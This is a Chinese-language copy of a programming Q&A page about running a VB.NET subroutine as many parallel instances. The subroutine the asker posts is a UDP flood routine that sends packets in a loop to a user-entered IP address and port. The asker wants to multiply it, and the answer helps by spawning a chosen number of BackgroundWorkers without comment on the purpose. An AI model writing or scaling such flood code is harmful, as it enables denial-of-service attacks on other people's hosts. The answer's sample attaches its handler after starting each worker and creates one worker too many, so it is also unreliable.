VB.NET - 一次多次运行一个子

时间:2011-07-17 02:10:47

标签: vb.net multithreading

我有一个在循环中运行的私有子。我希望sub能够一次运行多次。例如程序运行,你按开始;你再次运行程序,然后按开始,一次又一次......同一个程序一次完成工作。现在我只想让一个程序独自完成它。但我希望它是用户定义的。进出口。运行程序。在文本框中键入10.按开始。并且好像其中10个工作在同一个东西上工作。

我见过用vb.net 2010制作的另一个程序及其使用的内容,不知道该怎么做。所以我只是想知道。

Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
    Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
    Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
    Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
    Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
    Do While Flooding = True
        For i = 0 To SocketN
            If Flooding = True Then
                Dim _Sock(i) As Socket
                _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                Try
                    _Sock(i).SendTo(PacketS, IPPort)
                    Threading.Thread.Sleep(500)
                Catch ex As Exception
                    Threading.Thread.Sleep(500)
                End Try
            Else
                Exit Do
            End If
        Next
    Loop
End Sub

通常希望用户选择一次又一次地完成这项工作......有点希望不使用此代码,否则可能无法获得帮助。

1 个答案:

答案 0 :(得分:1)

您可以使用后台工作程序。 一旦你知道你想要做多少工人 只需创建那些后台工作者的许多实例。 告诉我这是否是您正在寻找的答案

示例源代码

Imports System.ComponentModel

Module Module1

    Sub Main()
        Console.WriteLine("Please enter the worker count:")
        Dim workerCount As Integer = Console.ReadLine()
        For i As Int16 = 0 To workerCount
            Dim worker As BackgroundWorker = New BackgroundWorker
            worker.RunWorkerAsync(i + 1)
            AddHandler worker.DoWork, AddressOf Worker_DoWork
        Next
    End Sub

    Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
        Console.WriteLine(e.Argument.ToString())
    End Sub
End Module